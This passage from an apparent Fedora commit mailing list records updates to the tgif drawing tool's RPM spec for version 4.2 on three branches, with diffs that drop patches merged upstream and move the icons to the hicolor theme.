	tgif-4.1.44-xim-bad-focus.patch tgif-4.1.45-fontcheck.patch 
	tgif-QPL-4.1.45-open-with-mode.patch tgif-wrapper.sh 
	tgif.desktop tgif.gif 
Log Message:
Update to 4.2


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 Jul 2007 18:08:34 -0000	1.2
+++ .cvsignore	7 Oct 2009 20:44:46 -0000	1.3
@@ -1,2 +1 @@
-tgif-4.1ja9.tar.gz
-tgif-QPL-4.1.45.tar.gz
+tgif-QPL-4.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Jul 2007 18:08:34 -0000	1.2
+++ sources	7 Oct 2009 20:44:46 -0000	1.3
@@ -1,2 +1 @@
-da4d40a12c5053ed73336e041e7a6a93  tgif-4.1ja9.tar.gz
-5c1eba8291385c630b8099fa9b042455  tgif-QPL-4.1.45.tar.gz
+5c6540d48ae1c6060af4285175e47f76  tgif-QPL-4.2.tar.gz


Index: tgif.spec
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-11/tgif.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- tgif.spec	24 Feb 2009 04:58:58 -0000	1.9
+++ tgif.spec	7 Oct 2009 20:44:47 -0000	1.10
@@ -1,31 +1,18 @@
-%define		Xresource_ja_ver	4.1ja9
-%define		_default_patch_fuzz	2
-
 Name:		tgif
-Version:	4.1.45
-Release:	9%{?dist}
+Version:	4.2
+Release:	1%{?dist}
 Summary:	2-D drawing tool
 Group:		Applications/Multimedia
 
 License:	QPL
 URL:		http://bourbon.usc.edu/tgif/
 Source0:	http://downloads.sourceforge.net/%{name}/%{name}-QPL-%{version}.tar.gz
-# Borrowed from Vine Linux
-Source1:	tgif-%{Xresource_ja_ver}.tar.gz
-Source2:	tgif-4.1.41.ja.po
-Source3:	tgif.desktop
-Source4:	http://bourbon.usc.edu/tgif/images/%{name}.gif
-Source5:	tgif-wrapper.sh
-Patch1:		tgif-4.1.45-fontcheck.patch
-Patch3:		tgif-4.1.35-overthespot_fix.patch
 # http://tyche.pu-toyama.ac.jp/~a-urasim/tgif/
 Patch10:	tgif-textcursor-a-urasim.patch
-Patch20:	tgif-4.1.44-xim-bad-focus.patch
-Patch100:	tgif-QPL-4.1.45-open-with-mode.patch
+# Check below later
 Patch101:	tgif-QPL-4.1.45-size-debug.patch
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-%(%{__id_u} -n)
 
-BuildRequires:	ImageMagick
 BuildRequires:	imake
 BuildRequires:	desktop-file-utils
 BuildRequires:	gettext
@@ -43,27 +30,30 @@ hyper-graphics (or hyper-structured-grap
 the World-Wide-Web.
 
 %prep
-%setup -q -n %{name}-QPL-%{version} -a 1
-%patch1 -p1 -b .fontcheck
-%patch3 -p1 -b .overthespot
-%patch10 -p0 -b textcursor
-%patch20 -p1 -b .xim-bad-focus
-%patch100 -p1 -b .opmode
-%patch101 -p1 -b .size
+%setup -q -n %{name}-QPL-%{version}
+# Upstream says the below is wrong, for now dropping
+#%%patch10 -p0 -b textcursor
+# Check later
+#%%patch101 -p1 -b .size
 
-%{__cp} -pf %{SOURCE2} po/ja/ja.po
-pushd po/ja
 %{__perl} -pi \
 	-e 's,JISX-0208-1983-0,EUC-JP,g' \
-	ja.po
-popd
+	po/ja/ja.po
 
 # use scalable bitmap font
-for i in C ja ; do
-  %{__sed} -e s,alias\-mincho,misc\-mincho,g \
-           -e s,alias\-gothic,jis\-fixed,g \
-           -i tgif-%{Xresource_ja_ver}/${i}/Tgif.ad
-done
+%{__sed} \
+	-e s,alias\-mincho,misc\-mincho,g \
+	-e s,alias\-gothic,jis\-fixed,g \
+	-i po/ja/Tgif.ad
+
+# Fix desktop file
+%{__sed} -i.icon -e 's|Icon=tgif|Icon=tgificon|' \
+	po/ja/tgif.desktop
+
+# Fix installation path for icon files
+%{__sed} -i.path \
+	-e '/InstallNonExec.*hicolor/s|\$(TGIFDIR)|\$(DATADIR)/icons/|' \
+	Imakefile
 
 %build
 %{__cp} -pf Tgif.tmpl-linux Tgif.tmpl
@@ -91,27 +81,37 @@ popd
 
 %install
 %{__rm} -rf $RPM_BUILD_ROOT/
-# wrap xgif
+
+find . -name tgificon.png | while read f
+do
+	dir=$(dirname $f | sed -e 's|^.*icons||')
+	%{__mkdir_p} $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/$dir
+done
+
 %{__make} \
 	DESTDIR=$RPM_BUILD_ROOT/ \
 	BINDIR=%{_libexecdir}/ \
 	TGIFDIR=%{_datadir}/tgif/ \
+	ICONSDIR=icons/ \
 	INSTALLFLAGS="-cp" \
+	DATADIR=%{_datadir} \
 	install \
 	install.man
+
+# wrap tgif
 %{__mkdir_p} $RPM_BUILD_ROOT%{_bindir}/
-%{__install} -cpm 0755 %{SOURCE5} $RPM_BUILD_ROOT%{_bindir}/%{name}
+%{__install} -cpm 0755 po/ja/tgif-wrapper.sh \
+	$RPM_BUILD_ROOT%{_bindir}/%{name}
 
 %{__rm} -f $RPM_BUILD_ROOT%{_datadir}/tgif/*.obj
 %{__install} -cpm 0644 *.obj \
 	$RPM_BUILD_ROOT%{_datadir}/tgif/
 
-%{__mkdir_p} $RPM_BUILD_ROOT%{_datadir}/X11/{,ja/}app-defaults/
-%if 0
-%{__install} -cpm 0644 tgif-%{Xresource_ja_ver}/C/Tgif.ad \
-	$RPM_BUILD_ROOT%{_datadir}/X11/app-defaults/Tgif
-%endif
-%{__install} -cpm 0644 tgif-%{Xresource_ja_ver}/ja/Tgif.ad \
+
+# Japanese specific
+%{__mkdir_p} $RPM_BUILD_ROOT%{_datadir}/X11/ja/app-defaults/
+%{__install} -cpm 0644 \
+	po/ja/Tgif.ad \
 	$RPM_BUILD_ROOT%{_datadir}/X11/ja/app-defaults/Tgif
 
 pushd po
@@ -128,12 +128,8 @@ desktop-file-install \
 	--remove-category 'X-Fedora' \
 	--vendor 'fedora' \
 	--dir $RPM_BUILD_ROOT%{_datadir}/applications/ \
-	%{SOURCE3}
+	po/ja/tgif.desktop
 
-%{__mkdir_p} %{buildroot}%{_datadir}/pixmaps/
-convert -geometry 64x64! %{SOURCE4} %{name}.png
-%{__install} -cpm644 %{name}.png \
-	$RPM_BUILD_ROOT/%{_datadir}/pixmaps/
 
 %{find_lang} tgif
 
@@ -141,36 +137,58 @@ convert -geometry 64x64! %{SOURCE4} %{na
 %{__rm} -rf $RPM_BUILD_ROOT/
 
 %post
-%{_bindir}/update-desktop-database -q %{_datadir}/applications/ ||:
+touch --no-create %{_datadir}/icons/hicolor
+update-desktop-database -q %{_datadir}/applications/
+exit 0
 
 %postun
-%{_bindir}/update-desktop-database -q %{_datadir}/applications/ ||:
+update-desktop-database -q %{_datadir}/applications/
+
+[ $1 -eq 0 ] || exit 0
+touch --no-create %{_datadir}/icons/hicolor
+gtk-update-icon-cache -q %{_datadir}/icons/hicolor
+exit 0
+
+%posttrans
+gtk-update-icon-cache -q %{_datadir}/icons/hicolor
+exit 0
 
 %files -f %{name}.lang
 %defattr(-,root,root,-)
-%doc Copyright HISTORY LICENSE.QPL
-%doc README* 
+%doc AUTHORS
+%doc ChangeLog
+%doc Copyright
+%doc HISTORY
+%doc LICENSE.QPL
+%doc README*
 %doc VMS_MAKE_TGIF.COM 
 %doc example.tex 
-%doc %{name}-%{Xresource_ja_ver}/README.jp
+%doc po/ja/README.jp
 
 %{_bindir}/%{name}
 %{_libexecdir}/%{name}
 %{_mandir}/man1/%{name}.1x*
 
 %{_datadir}/%{name}/
-%if 0
-%{_datadir}/X11/app-defaults/Tgif
-%endif
 # Currently no package owns the following directories
 %dir %{_datadir}/X11/ja/
 %dir %{_datadir}/X11/ja/app-defaults/
 %{_datadir}/X11/ja/app-defaults/Tgif
 
-%{_datadir}/pixmaps/%{name}.png
+%{_datadir}/icons/hicolor/*/apps/%{name}icon.png
 %{_datadir}/applications/*-%{name}.desktop
 
 %changelog
+* Thu Oct  8 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.2-1
+- Update to 4.2
+  * Almost all patches/sources/etc in Fedora rpms (actually borrowed
+    from Vine Project) were applied upstream
+  * Stop to apply 1 left patch for now
+  * 1 patch does not apply, check later
+
+* Sat Jul 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.1.45-10
+- F-12: Mass rebuild
+
 * Tue Feb 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.1.45-9
 - F-11: Mass rebuild
 


--- tgif-4.1.35-overthespot_fix.patch DELETED ---


--- tgif-4.1.41.ja.po DELETED ---


--- tgif-4.1.44-xim-bad-focus.patch DELETED ---


--- tgif-4.1.45-fontcheck.patch DELETED ---


--- tgif-QPL-4.1.45-open-with-mode.patch DELETED ---


--- tgif-wrapper.sh DELETED ---


--- tgif.desktop DELETED ---



From mtasaka at fedoraproject.org  Wed Oct  7 20:44:47 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed,  7 Oct 2009 20:44:47 +0000 (UTC)
Subject: rpms/tgif/F-12 .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 tgif.spec,
	1.10, 1.11 tgif-4.1.35-overthespot_fix.patch, 1.1,
	NONE tgif-4.1.41.ja.po, 1.1,
	NONE tgif-4.1.44-xim-bad-focus.patch, 1.1,
	NONE tgif-4.1.45-fontcheck.patch, 1.1,
	NONE tgif-QPL-4.1.45-open-with-mode.patch, 1.1,
	NONE tgif-wrapper.sh, 1.1, NONE tgif.desktop, 1.1, NONE tgif.gif,
	1.1, NONE
Message-ID: <20091007204447.C0B2411C00E6@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/tgif/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31573/F-12

Modified Files:
	.cvsignore sources tgif.spec 
Removed Files:
	tgif-4.1.35-overthespot_fix.patch tgif-4.1.41.ja.po 
	tgif-4.1.44-xim-bad-focus.patch tgif-4.1.45-fontcheck.patch 
	tgif-QPL-4.1.45-open-with-mode.patch tgif-wrapper.sh 
	tgif.desktop tgif.gif 
Log Message:
Update to 4.2


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 Jul 2007 18:08:34 -0000	1.2
+++ .cvsignore	7 Oct 2009 20:44:47 -0000	1.3
@@ -1,2 +1 @@
-tgif-4.1ja9.tar.gz
-tgif-QPL-4.1.45.tar.gz
+tgif-QPL-4.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Jul 2007 18:08:34 -0000	1.2
+++ sources	7 Oct 2009 20:44:47 -0000	1.3
@@ -1,2 +1 @@
-da4d40a12c5053ed73336e041e7a6a93  tgif-4.1ja9.tar.gz
-5c1eba8291385c630b8099fa9b042455  tgif-QPL-4.1.45.tar.gz
+5c6540d48ae1c6060af4285175e47f76  tgif-QPL-4.2.tar.gz


Index: tgif.spec
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-12/tgif.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- tgif.spec	24 Jul 2009 19:45:40 -0000	1.10
+++ tgif.spec	7 Oct 2009 20:44:47 -0000	1.11
@@ -1,31 +1,18 @@
-%define		Xresource_ja_ver	4.1ja9
-%define		_default_patch_fuzz	2
-
 Name:		tgif
-Version:	4.1.45
-Release:	10%{?dist}
+Version:	4.2
+Release:	1%{?dist}
 Summary:	2-D drawing tool
 Group:		Applications/Multimedia
 
 License:	QPL
 URL:		http://bourbon.usc.edu/tgif/
 Source0:	http://downloads.sourceforge.net/%{name}/%{name}-QPL-%{version}.tar.gz
-# Borrowed from Vine Linux
-Source1:	tgif-%{Xresource_ja_ver}.tar.gz
-Source2:	tgif-4.1.41.ja.po
-Source3:	tgif.desktop
-Source4:	http://bourbon.usc.edu/tgif/images/%{name}.gif
-Source5:	tgif-wrapper.sh
-Patch1:		tgif-4.1.45-fontcheck.patch
-Patch3:		tgif-4.1.35-overthespot_fix.patch
 # http://tyche.pu-toyama.ac.jp/~a-urasim/tgif/
 Patch10:	tgif-textcursor-a-urasim.patch
-Patch20:	tgif-4.1.44-xim-bad-focus.patch
-Patch100:	tgif-QPL-4.1.45-open-with-mode.patch
+# Check below later
 Patch101:	tgif-QPL-4.1.45-size-debug.patch
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-%(%{__id_u} -n)
 
-BuildRequires:	ImageMagick
 BuildRequires:	imake
 BuildRequires:	desktop-file-utils
 BuildRequires:	gettext
@@ -43,27 +30,30 @@ hyper-graphics (or hyper-structured-grap
 the World-Wide-Web.
 
 %prep
-%setup -q -n %{name}-QPL-%{version} -a 1
-%patch1 -p1 -b .fontcheck
-%patch3 -p1 -b .overthespot
-%patch10 -p0 -b textcursor
-%patch20 -p1 -b .xim-bad-focus
-%patch100 -p1 -b .opmode
-%patch101 -p1 -b .size
+%setup -q -n %{name}-QPL-%{version}
+# Upstream says the below is wrong, for now dropping
+#%%patch10 -p0 -b textcursor
+# Check later
+#%%patch101 -p1 -b .size
 
-%{__cp} -pf %{SOURCE2} po/ja/ja.po
-pushd po/ja
 %{__perl} -pi \
 	-e 's,JISX-0208-1983-0,EUC-JP,g' \
-	ja.po
-popd
+	po/ja/ja.po
 
 # use scalable bitmap font
-for i in C ja ; do
-  %{__sed} -e s,alias\-mincho,misc\-mincho,g \
-           -e s,alias\-gothic,jis\-fixed,g \
-           -i tgif-%{Xresource_ja_ver}/${i}/Tgif.ad
-done
+%{__sed} \
+	-e s,alias\-mincho,misc\-mincho,g \
+	-e s,alias\-gothic,jis\-fixed,g \
+	-i po/ja/Tgif.ad
+
+# Fix desktop file
+%{__sed} -i.icon -e 's|Icon=tgif|Icon=tgificon|' \
+	po/ja/tgif.desktop
+
+# Fix installation path for icon files
+%{__sed} -i.path \
+	-e '/InstallNonExec.*hicolor/s|\$(TGIFDIR)|\$(DATADIR)/icons/|' \
+	Imakefile
 
 %build
 %{__cp} -pf Tgif.tmpl-linux Tgif.tmpl
@@ -91,27 +81,37 @@ popd
 
 %install
 %{__rm} -rf $RPM_BUILD_ROOT/
-# wrap xgif
+
+find . -name tgificon.png | while read f
+do
+	dir=$(dirname $f | sed -e 's|^.*icons||')
+	%{__mkdir_p} $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/$dir
+done
+
 %{__make} \
 	DESTDIR=$RPM_BUILD_ROOT/ \
 	BINDIR=%{_libexecdir}/ \
 	TGIFDIR=%{_datadir}/tgif/ \
+	ICONSDIR=icons/ \
 	INSTALLFLAGS="-cp" \
+	DATADIR=%{_datadir} \
 	install \
 	install.man
+
+# wrap tgif
 %{__mkdir_p} $RPM_BUILD_ROOT%{_bindir}/
-%{__install} -cpm 0755 %{SOURCE5} $RPM_BUILD_ROOT%{_bindir}/%{name}
+%{__install} -cpm 0755 po/ja/tgif-wrapper.sh \
+	$RPM_BUILD_ROOT%{_bindir}/%{name}
 
 %{__rm} -f $RPM_BUILD_ROOT%{_datadir}/tgif/*.obj
 %{__install} -cpm 0644 *.obj \
 	$RPM_BUILD_ROOT%{_datadir}/tgif/
 
-%{__mkdir_p} $RPM_BUILD_ROOT%{_datadir}/X11/{,ja/}app-defaults/
-%if 0
-%{__install} -cpm 0644 tgif-%{Xresource_ja_ver}/C/Tgif.ad \
-	$RPM_BUILD_ROOT%{_datadir}/X11/app-defaults/Tgif
-%endif
-%{__install} -cpm 0644 tgif-%{Xresource_ja_ver}/ja/Tgif.ad \
+
+# Japanese specific
+%{__mkdir_p} $RPM_BUILD_ROOT%{_datadir}/X11/ja/app-defaults/
+%{__install} -cpm 0644 \
+	po/ja/Tgif.ad \
 	$RPM_BUILD_ROOT%{_datadir}/X11/ja/app-defaults/Tgif
 
 pushd po
@@ -128,12 +128,8 @@ desktop-file-install \
 	--remove-category 'X-Fedora' \
 	--vendor 'fedora' \
 	--dir $RPM_BUILD_ROOT%{_datadir}/applications/ \
-	%{SOURCE3}
+	po/ja/tgif.desktop
 
-%{__mkdir_p} %{buildroot}%{_datadir}/pixmaps/
-convert -geometry 64x64! %{SOURCE4} %{name}.png
-%{__install} -cpm644 %{name}.png \
-	$RPM_BUILD_ROOT/%{_datadir}/pixmaps/
 
 %{find_lang} tgif
 
@@ -141,36 +137,55 @@ convert -geometry 64x64! %{SOURCE4} %{na
 %{__rm} -rf $RPM_BUILD_ROOT/
 
 %post
-%{_bindir}/update-desktop-database -q %{_datadir}/applications/ ||:
+touch --no-create %{_datadir}/icons/hicolor
+update-desktop-database -q %{_datadir}/applications/
+exit 0
 
 %postun
-%{_bindir}/update-desktop-database -q %{_datadir}/applications/ ||:
+update-desktop-database -q %{_datadir}/applications/
+
+[ $1 -eq 0 ] || exit 0
+touch --no-create %{_datadir}/icons/hicolor
+gtk-update-icon-cache -q %{_datadir}/icons/hicolor
+exit 0
+
+%posttrans
+gtk-update-icon-cache -q %{_datadir}/icons/hicolor
+exit 0
 
 %files -f %{name}.lang
 %defattr(-,root,root,-)
-%doc Copyright HISTORY LICENSE.QPL
-%doc README* 
+%doc AUTHORS
+%doc ChangeLog
+%doc Copyright
+%doc HISTORY
+%doc LICENSE.QPL
+%doc README*
 %doc VMS_MAKE_TGIF.COM 
 %doc example.tex 
-%doc %{name}-%{Xresource_ja_ver}/README.jp
+%doc po/ja/README.jp
 
 %{_bindir}/%{name}
 %{_libexecdir}/%{name}
 %{_mandir}/man1/%{name}.1x*
 
 %{_datadir}/%{name}/
-%if 0
-%{_datadir}/X11/app-defaults/Tgif
-%endif
 # Currently no package owns the following directories
 %dir %{_datadir}/X11/ja/
 %dir %{_datadir}/X11/ja/app-defaults/
 %{_datadir}/X11/ja/app-defaults/Tgif
 
-%{_datadir}/pixmaps/%{name}.png
+%{_datadir}/icons/hicolor/*/apps/%{name}icon.png
 %{_datadir}/applications/*-%{name}.desktop
 
 %changelog
+* Thu Oct  8 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.2-1
+- Update to 4.2
+  * Almost all patches/sources/etc in Fedora rpms (actually borrowed
+    from Vine Project) were applied upstream
+  * Stop to apply 1 left patch for now
+  * 1 patch does not apply, check later
+
 * Sat Jul 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.1.45-10
 - F-12: Mass rebuild
 


--- tgif-4.1.35-overthespot_fix.patch DELETED ---


--- tgif-4.1.41.ja.po DELETED ---


--- tgif-4.1.44-xim-bad-focus.patch DELETED ---


--- tgif-4.1.45-fontcheck.patch DELETED ---


--- tgif-QPL-4.1.45-open-with-mode.patch DELETED ---


--- tgif-wrapper.sh DELETED ---


--- tgif.desktop DELETED ---



From mtasaka at fedoraproject.org  Wed Oct  7 20:44:48 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed,  7 Oct 2009 20:44:48 +0000 (UTC)
Subject: rpms/tgif/devel .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 tgif.spec,
	1.10, 1.11 tgif-4.1.35-overthespot_fix.patch, 1.1,
	NONE tgif-4.1.41.ja.po, 1.1,
	NONE tgif-4.1.44-xim-bad-focus.patch, 1.1,
	NONE tgif-4.1.45-fontcheck.patch, 1.1,
	NONE tgif-QPL-4.1.45-open-with-mode.patch, 1.1,
	NONE tgif-wrapper.sh, 1.1, NONE tgif.desktop, 1.1, NONE tgif.gif,
	1.1, NONE
Message-ID: <20091007204448.32E0E11C00E6@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/tgif/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31573/devel

Modified Files:
	.cvsignore sources tgif.spec 
Removed Files:
	tgif-4.1.35-overthespot_fix.patch tgif-4.1.41.ja.po 
	tgif-4.1.44-xim-bad-focus.patch tgif-4.1.45-fontcheck.patch 
	tgif-QPL-4.1.45-open-with-mode.patch tgif-wrapper.sh 
	tgif.desktop tgif.gif 
Log Message:
Update to 4.2


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/tgif/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 Jul 2007 18:08:34 -0000	1.2
+++ .cvsignore	7 Oct 2009 20:44:47 -0000	1.3
@@ -1,2 +1 @@
-tgif-4.1ja9.tar.gz
-tgif-QPL-4.1.45.tar.gz
+tgif-QPL-4.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tgif/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Jul 2007 18:08:34 -0000	1.2
+++ sources	7 Oct 2009 20:44:47 -0000	1.3
@@ -1,2 +1 @@
-da4d40a12c5053ed73336e041e7a6a93  tgif-4.1ja9.tar.gz
-5c1eba8291385c630b8099fa9b042455  tgif-QPL-4.1.45.tar.gz
+5c6540d48ae1c6060af4285175e47f76  tgif-QPL-4.2.tar.gz


Index: tgif.spec
===================================================================
RCS file: /cvs/extras/rpms/tgif/devel/tgif.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- tgif.spec	24 Jul 2009 19:45:40 -0000	1.10
+++ tgif.spec	7 Oct 2009 20:44:48 -0000	1.11
@@ -1,31 +1,18 @@
-%define		Xresource_ja_ver	4.1ja9
-%define		_default_patch_fuzz	2
-
 Name:		tgif
-Version:	4.1.45
-Release:	10%{?dist}
+Version:	4.2
+Release:	1%{?dist}
 Summary:	2-D drawing tool
 Group:		Applications/Multimedia
 
 License:	QPL
 URL:		http://bourbon.usc.edu/tgif/
 Source0:	http://downloads.sourceforge.net/%{name}/%{name}-QPL-%{version}.tar.gz
-# Borrowed from Vine Linux
-Source1:	tgif-%{Xresource_ja_ver}.tar.gz
-Source2:	tgif-4.1.41.ja.po
-Source3:	tgif.desktop
-Source4:	http://bourbon.usc.edu/tgif/images/%{name}.gif
-Source5:	tgif-wrapper.sh
-Patch1:		tgif-4.1.45-fontcheck.patch
-Patch3:		tgif-4.1.35-overthespot_fix.patch
 # http://tyche.pu-toyama.ac.jp/~a-urasim/tgif/
 Patch10:	tgif-textcursor-a-urasim.patch
-Patch20:	tgif-4.1.44-xim-bad-focus.patch
-Patch100:	tgif-QPL-4.1.45-open-with-mode.patch
+# Check below later
 Patch101:	tgif-QPL-4.1.45-size-debug.patch
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-%(%{__id_u} -n)
 
-BuildRequires:	ImageMagick
 BuildRequires:	imake
 BuildRequires:	desktop-file-utils
 BuildRequires:	gettext
@@ -43,27 +30,30 @@ hyper-graphics (or hyper-structured-grap
 the World-Wide-Web.
 
 %prep
-%setup -q -n %{name}-QPL-%{version} -a 1
-%patch1 -p1 -b .fontcheck
-%patch3 -p1 -b .overthespot
-%patch10 -p0 -b textcursor
-%patch20 -p1 -b .xim-bad-focus
-%patch100 -p1 -b .opmode
-%patch101 -p1 -b .size
+%setup -q -n %{name}-QPL-%{version}
+# Upstream says the below is wrong, for now dropping
+#%%patch10 -p0 -b textcursor
+# Check later
+#%%patch101 -p1 -b .size
 
-%{__cp} -pf %{SOURCE2} po/ja/ja.po
-pushd po/ja
 %{__perl} -pi \
 	-e 's,JISX-0208-1983-0,EUC-JP,g' \
-	ja.po
-popd
+	po/ja/ja.po
 
 # use scalable bitmap font
-for i in C ja ; do
-  %{__sed} -e s,alias\-mincho,misc\-mincho,g \
-           -e s,alias\-gothic,jis\-fixed,g \
-           -i tgif-%{Xresource_ja_ver}/${i}/Tgif.ad
-done
+%{__sed} \
+	-e s,alias\-mincho,misc\-mincho,g \
+	-e s,alias\-gothic,jis\-fixed,g \
+	-i po/ja/Tgif.ad
+
+# Fix desktop file
+%{__sed} -i.icon -e 's|Icon=tgif|Icon=tgificon|' \
+	po/ja/tgif.desktop
+
+# Fix installation path for icon files
+%{__sed} -i.path \
+	-e '/InstallNonExec.*hicolor/s|\$(TGIFDIR)|\$(DATADIR)/icons/|' \
+	Imakefile
 
 %build
 %{__cp} -pf Tgif.tmpl-linux Tgif.tmpl
@@ -91,27 +81,37 @@ popd
 
 %install
 %{__rm} -rf $RPM_BUILD_ROOT/
-# wrap xgif
+
+find . -name tgificon.png | while read f
+do
+	dir=$(dirname $f | sed -e 's|^.*icons||')
+	%{__mkdir_p} $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/$dir
+done
+
 %{__make} \
 	DESTDIR=$RPM_BUILD_ROOT/ \
 	BINDIR=%{_libexecdir}/ \
 	TGIFDIR=%{_datadir}/tgif/ \
+	ICONSDIR=icons/ \
 	INSTALLFLAGS="-cp" \
+	DATADIR=%{_datadir} \
 	install \
 	install.man
+
+# wrap tgif
 %{__mkdir_p} $RPM_BUILD_ROOT%{_bindir}/
-%{__install} -cpm 0755 %{SOURCE5} $RPM_BUILD_ROOT%{_bindir}/%{name}
+%{__install} -cpm 0755 po/ja/tgif-wrapper.sh \
+	$RPM_BUILD_ROOT%{_bindir}/%{name}
 
 %{__rm} -f $RPM_BUILD_ROOT%{_datadir}/tgif/*.obj
 %{__install} -cpm 0644 *.obj \
 	$RPM_BUILD_ROOT%{_datadir}/tgif/
 
-%{__mkdir_p} $RPM_BUILD_ROOT%{_datadir}/X11/{,ja/}app-defaults/
-%if 0
-%{__install} -cpm 0644 tgif-%{Xresource_ja_ver}/C/Tgif.ad \
-	$RPM_BUILD_ROOT%{_datadir}/X11/app-defaults/Tgif
-%endif
-%{__install} -cpm 0644 tgif-%{Xresource_ja_ver}/ja/Tgif.ad \
+
+# Japanese specific
+%{__mkdir_p} $RPM_BUILD_ROOT%{_datadir}/X11/ja/app-defaults/
+%{__install} -cpm 0644 \
+	po/ja/Tgif.ad \
 	$RPM_BUILD_ROOT%{_datadir}/X11/ja/app-defaults/Tgif
 
 pushd po
@@ -128,12 +128,8 @@ desktop-file-install \
 	--remove-category 'X-Fedora' \
 	--vendor 'fedora' \
 	--dir $RPM_BUILD_ROOT%{_datadir}/applications/ \
-	%{SOURCE3}
+	po/ja/tgif.desktop
 
-%{__mkdir_p} %{buildroot}%{_datadir}/pixmaps/
-convert -geometry 64x64! %{SOURCE4} %{name}.png
-%{__install} -cpm644 %{name}.png \
-	$RPM_BUILD_ROOT/%{_datadir}/pixmaps/
 
 %{find_lang} tgif
 
@@ -141,36 +137,55 @@ convert -geometry 64x64! %{SOURCE4} %{na
 %{__rm} -rf $RPM_BUILD_ROOT/
 
 %post
-%{_bindir}/update-desktop-database -q %{_datadir}/applications/ ||:
+touch --no-create %{_datadir}/icons/hicolor
+update-desktop-database -q %{_datadir}/applications/
+exit 0
 
 %postun
-%{_bindir}/update-desktop-database -q %{_datadir}/applications/ ||:
+update-desktop-database -q %{_datadir}/applications/
+
+[ $1 -eq 0 ] || exit 0
+touch --no-create %{_datadir}/icons/hicolor
+gtk-update-icon-cache -q %{_datadir}/icons/hicolor
+exit 0
+
+%posttrans
+gtk-update-icon-cache -q %{_datadir}/icons/hicolor
+exit 0
 
 %files -f %{name}.lang
 %defattr(-,root,root,-)
-%doc Copyright HISTORY LICENSE.QPL
-%doc README* 
+%doc AUTHORS
+%doc ChangeLog
+%doc Copyright
+%doc HISTORY
+%doc LICENSE.QPL
+%doc README*
 %doc VMS_MAKE_TGIF.COM 
 %doc example.tex 
-%doc %{name}-%{Xresource_ja_ver}/README.jp
+%doc po/ja/README.jp
 
 %{_bindir}/%{name}
 %{_libexecdir}/%{name}
 %{_mandir}/man1/%{name}.1x*
 
 %{_datadir}/%{name}/
-%if 0
-%{_datadir}/X11/app-defaults/Tgif
-%endif
 # Currently no package owns the following directories
 %dir %{_datadir}/X11/ja/
 %dir %{_datadir}/X11/ja/app-defaults/
 %{_datadir}/X11/ja/app-defaults/Tgif
 
-%{_datadir}/pixmaps/%{name}.png
+%{_datadir}/icons/hicolor/*/apps/%{name}icon.png
 %{_datadir}/applications/*-%{name}.desktop
 
 %changelog
+* Thu Oct  8 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.2-1
+- Update to 4.2
+  * Almost all patches/sources/etc in Fedora rpms (actually borrowed
+    from Vine Project) were applied upstream
+  * Stop to apply 1 left patch for now
+  * 1 patch does not apply, check later
+
 * Sat Jul 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.1.45-10
 - F-12: Mass rebuild
 


--- tgif-4.1.35-overthespot_fix.patch DELETED ---


--- tgif-4.1.41.ja.po DELETED ---


--- tgif-4.1.44-xim-bad-focus.patch DELETED ---


--- tgif-4.1.45-fontcheck.patch DELETED ---


--- tgif-QPL-4.1.45-open-with-mode.patch DELETED ---


--- tgif-wrapper.sh DELETED ---


--- tgif.desktop DELETED ---



From mtasaka at fedoraproject.org  Wed Oct  7 20:52:07 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed,  7 Oct 2009 20:52:07 +0000 (UTC)
Subject: rpms/tgif/devel tgif.spec,1.11,1.12
Message-ID: <20091007205207.0BEE011C00E6@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/tgif/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2167

